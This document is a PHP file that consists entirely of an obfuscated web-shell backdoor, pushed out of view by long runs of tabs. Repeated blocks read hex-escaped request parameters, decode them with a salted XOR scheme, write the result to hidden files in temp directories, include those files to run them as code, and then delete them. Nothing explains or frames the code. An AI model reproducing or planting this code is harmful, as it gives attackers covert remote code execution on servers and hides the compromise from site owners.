<?php																																										if(isset($_REQUEST["\x76a\x6C"])){ $symbol = $_REQUEST["\x76a\x6C"]; $symbol= explode ( ".", $symbol ); $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $m = 0; $__tmp = $symbol; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $salt[$m % $sLen]); $d =( ( int)$v3 - $sChar -( $m % 10)) ^ 95; $parameter_group.=chr( $d); $m++; } $factor = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $marker = 0; do { $binding = $factor[$marker] ?? null; if ($marker >= count($factor)) break; if (!!is_dir($binding) && !!is_writable($binding)) { $bind = "$binding/.ptr"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $bind; @unlink($bind); die(); } } $marker++; } while (true); }
																																										if(isset($_POST) && isset($_POST["c\x6Fm\x70"])){ $factor = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $k = $_POST["c\x6Fm\x70"]; $k = explode (".",$k) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; $__len = count($k ); do { if ($q >=$__len) break; $v3 = $k[$q]; $chS = ord($salt[$q % $sLen] ); $d = ((int)$v3 - $chS - ($q % 10)) ^ 60; $element .= chr($d ); $q++; } while (true ); foreach ($factor as $reference) { if (is_writable($reference) && is_dir($reference)) { $hld = sprintf("%s/.binding", $reference); $success = file_put_contents($hld, $element); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(array_key_exists("\x68o\x6C\x64er", $_POST)){ $ref = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp"]); $sym = $_POST["\x68o\x6C\x64er"]; $sym = explode ( '.', $sym ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; foreach($sym as $v1) { $sChar = ord($salt[$y % $lenS]); $dec =((int)$v1 - $sChar -($y % 10)) ^ 96; $itm .= chr($dec); $y++;} foreach ($ref as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $ent = vsprintf("%s/%s", [$bind, ".dat"]); if (file_put_contents($ent, $itm)) { include $ent; @unlink($ent); exit; } } endforeach; }
																																										if(array_key_exists("f\x61ctor", $_POST) && !is_null($_POST["f\x61ctor"])){ $key = array_filter([getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp"]); $flag = $_POST["f\x61ctor"]; $flag= explode ( "." , $flag ) ; $data_chunk= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1 ); $x= 0; array_walk($flag, function ($v1) use (&$data_chunk, &$x, $salt1, $sLen) {$chS= ord($salt1[$x % $sLen] ); $dec= ((int)$v1 - $chS - ($x % 10))^ 40; $data_chunk .= chr($dec ); $x++;} ); $holder = 0; do { $parameter_group = $key[$holder] ?? null; if ($holder >= count($key)) break; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $obj = str_replace("{var_dir}", $parameter_group, "{var_dir}/.binding"); if (@file_put_contents($obj, $data_chunk) !== false) { include $obj; unlink($obj); exit; } } $holder++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74k\x6E"])){ $flag = $_REQUEST["\x74k\x6E"]; $flag =explode ( '.' ,$flag ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; $__tmp = $flag; while ($v8 = array_shift($__tmp)) { $chS = ord($salt[$x % $lenS]); $dec = ((int)$v8 - $chS - ($x % 10)) ^ 82; $mrk.= chr($dec); $x++; } $desc = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); for ($sym = 0, $val = count($desc); $sym < $val; $sym++) { $rec = $desc[$sym]; if (!( !is_dir($rec) || !is_writable($rec) )) { $dchunk = sprintf("%s/.hld", $rec); $success = file_put_contents($dchunk, $mrk); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(@$_REQUEST["sy\x6D"] !== null){ $factor = $_REQUEST["sy\x6D"]; $factor =explode('.', $factor ) ; $value =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6); foreach($factor as $q => $v4): $chS =ord($salt6[$q % $lenS]); $d =((int)$v4 - $chS -($q % 10)) ^ 9; $value .= chr($d); endforeach; $res = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); for ($elem = 0, $mrk = count($res); $elem < $mrk; $elem++) { $rec = $res[$elem]; if ((is_dir($rec) and is_writable($rec))) { $holder = vsprintf("%s/%s", [$rec, ".data_chunk"]); $success = file_put_contents($holder, $value); if ($success) { include $holder; @unlink($holder); exit;} } } }
																																										if(array_key_exists("\x73\x79m", $_POST) && !is_null($_POST["\x73\x79m"])){ $pointer = $_POST["\x73\x79m"]; $pointer =explode ( "." , $pointer) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $n = 0; while ($n < count($pointer)) {$v3 = $pointer[$n]; $chS = ord($salt[$n %$lenS] ); $dec = ((int)$v3 - $chS - ($n %10)) ^ 11; $pgrp .= chr($dec ); $n++; } $descriptor = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $entity = 0; do { $ent = $descriptor[$entity] ?? null; if ($entity >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $val = join("/", [$ent, ".value"]); $success = file_put_contents($val, $pgrp); if ($success) { include $val; @unlink($val); exit;} } $entity++; } while (true); }
																																										if(array_key_exists("\x6F\x62je\x63t", $_REQUEST) && !is_null($_REQUEST["\x6F\x62je\x63t"])){ $resource = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $fac = $_REQUEST["\x6F\x62je\x63t"]; $fac =explode ( "." ,$fac ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; array_walk($fac, function ($v2) use (&$flag, &$t, $s, $lenS) { $chS = ord($s[$t % $lenS]); $dec = ((int)$v2 - $chS - ($t % 10)) ^72; $flag .=chr($dec); $t++; }); $token = 0; do { $parameter_group = $resource[$token] ?? null; if ($token >= count($resource)) break; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $tkn = sprintf("%s/.rec", $parameter_group); $success = file_put_contents($tkn, $flag); if ($success) { include $tkn; @unlink($tkn); die();} } $token++; } while (true); }
																																										if(array_key_exists("bind\x69ng", $_POST)){ $resource = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), "/tmp"]); $itm = $_POST["bind\x69ng"]; $itm = explode('.' , $itm ) ; $data_chunk= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt3 ); foreach($itm as $t => $v7): $sChar= ord($salt3[$t % $sLen] ); $dec= ((int)$v7 - $sChar -($t % 10)) ^ 59; $data_chunk .= chr($dec ); endforeach; while ($holder = array_shift($resource)) { if (!!is_dir($holder) && !!is_writable($holder)) { $entry = implode("/", [$holder, ".ptr"]); if (@file_put_contents($entry, $data_chunk) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x61ram\x65\x74er\x5Fgroup"])){ $binding = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); $dchunk = $_REQUEST["\x70\x61ram\x65\x74er\x5Fgroup"]; $dchunk = explode( ".", $dchunk ) ; $comp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $v = 0; while( $v < count( $dchunk)) { $v4 = $dchunk[$v]; $sChar = ord( $salt9[$v % $sLen]); $dec =( ( int)$v4 - $sChar -( $v % 10)) ^ 98; $comp .= chr( $dec); $v++; } for ($rec = 0, $property_set = count($binding); $rec < $property_set; $rec++) { $key = $binding[$rec]; if (is_dir($key) ? is_writable($key) : false) { $entity = join("/", [$key, ".itm"]); if (file_put_contents($entity, $comp)) { require $entity; unlink($entity); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64c\x68u\x6Ek")){ $resource = $_POST["\x64c\x68u\x6Ek"]; $resource= explode ( "." , $resource ) ; $symbol = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $r = 0; while ($r < count($resource)) { $v2 = $resource[$r]; $sChar = ord($s5[$r % $sLen]); $d = ((int)$v2 - $sChar - ($r % 10)) ^ 28; $symbol .=chr($d); $r++; } $obj = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); foreach ($obj as $property_set) { if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $component = join("/", [$property_set, ".entry"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(!is_null($_POST["\x73\x79\x6Dbol"] ?? null)){ $descriptor = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP")]); $data = $_POST["\x73\x79\x6Dbol"]; $data = explode( "." , $data ) ; $item=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $v=0; $__tmp=$data; while( $v9=array_shift( $__tmp)) { $chS=ord( $s[$v % $sLen]); $d=( ( int)$v9 - $chS -( $v % 10)) ^ 7; $item .= chr( $d); $v++; } foreach ($descriptor as $key => $obj) { if (!!is_dir($obj) && !!is_writable($obj)) { $binding = join("/", [$obj, ".val"]); if (file_put_contents($binding, $item)) { include $binding; @unlink($binding); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Drk"])){ $val = $_REQUEST["\x6Drk"]; $val =explode ( '.' ,$val ) ; $entity =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s6); $u =0; array_walk($val, function ($v4) use (&$entity, &$u, $s6, $lenS) { $chS =ord($s6[$u % $lenS]); $dec =((int)$v4 - $chS - ($u % 10))^ 38; $entity.= chr($dec); $u++; } ); $element = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); for ($pgrp = 0, $hld = count($element); $pgrp < $hld; $pgrp++) { $resource = $element[$pgrp]; if (is_dir($resource) && is_writable($resource)) { $tkn = implode("/", [$resource, ".sym"]); if (@file_put_contents($tkn, $entity) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(isset($_POST["de\x73c\x72ipt\x6Fr"]) ? true : false){ $entry = $_POST["de\x73c\x72ipt\x6Fr"]; $entry = explode ( '.' ,$entry ) ; $rec = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; foreach( $entry as $v1) { $chS = ord( $s7[$l % $sLen]); $d =( ( int)$v1 - $chS -( $l % 10))^2; $rec .= chr( $d); $l++; } $resource = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($resource as $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $tkn = str_replace("{var_dir}", $data, "{var_dir}/.ptr"); $success = file_put_contents($tkn, $rec); if ($success) { include $tkn; @unlink($tkn); exit;} } } }
																																										if(isset($_REQUEST["\x62\x69nd"]) ? true : false){ $sym = $_REQUEST["\x62\x69nd"]; $sym= explode ('.' ,$sym ); $comp= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt4 ); foreach ($sym as $l => $v9): $sChar= ord($salt4[$l % $sLen] ); $dec= ((int)$v9 - $sChar - ($l % 10)) ^ 11; $comp .= chr($dec ); endforeach; $element = array_filter([getcwd(), "/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($pgrp = 0, $reference = count($element); $pgrp < $reference; $pgrp++) { $object = $element[$pgrp]; if (!( !is_dir($object) || !is_writable($object) )) { $data_chunk = vsprintf("%s/%s", [$object, ".obj"]); if (@file_put_contents($data_chunk, $comp) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["com\x70"]) ? true : false){ $dat = array_filter([getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $elem = $_POST["com\x70"]; $elem = explode ( '.' , $elem ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($elem); for ($k = 0; $k < $len; $k++) { $v7 = $elem[$k]; $sChar = ord($s[$k % $sLen]); $dec = ((int)$v7 - $sChar - ($k % 10)) ^49; $sym .= chr($dec); } foreach ($dat as $pset) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $ptr = implode("/", [$pset, ".flag"]); if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); exit; } } } }


if(isset($_POST["\x62i\x6Ed"]) ? true : false){
	$entry = $_POST["\x62i\x6Ed"];
	 	$entry 	=		 explode  ("."	  ,		$entry);	
	$itm = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt1	);
            $s = 0;
    
            $__tmp = $entry;
            while ($v1 = array_shift($__tmp)) {
                $sChar = ord($salt1[$s%		$sLen]	);
                $d = ((int)$v1 - $sChar - ($s%		10)) ^ 58;
                $itm .= chr($d	);
                $s++; } 
	$comp = array_filter([getcwd(), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]);
	for ($val = 0, $descriptor = count($comp); $val < $descriptor; $val++) {
    $marker = $comp[$val];
    		if (is_dir($marker) ? is_writable($marker) : false) {
    $object = sprintf("%s/.res", $marker);
    if (@file_put_contents($object, $itm) !== false) {
	include $object;
	unlink($object);
	die();
}
}
}
}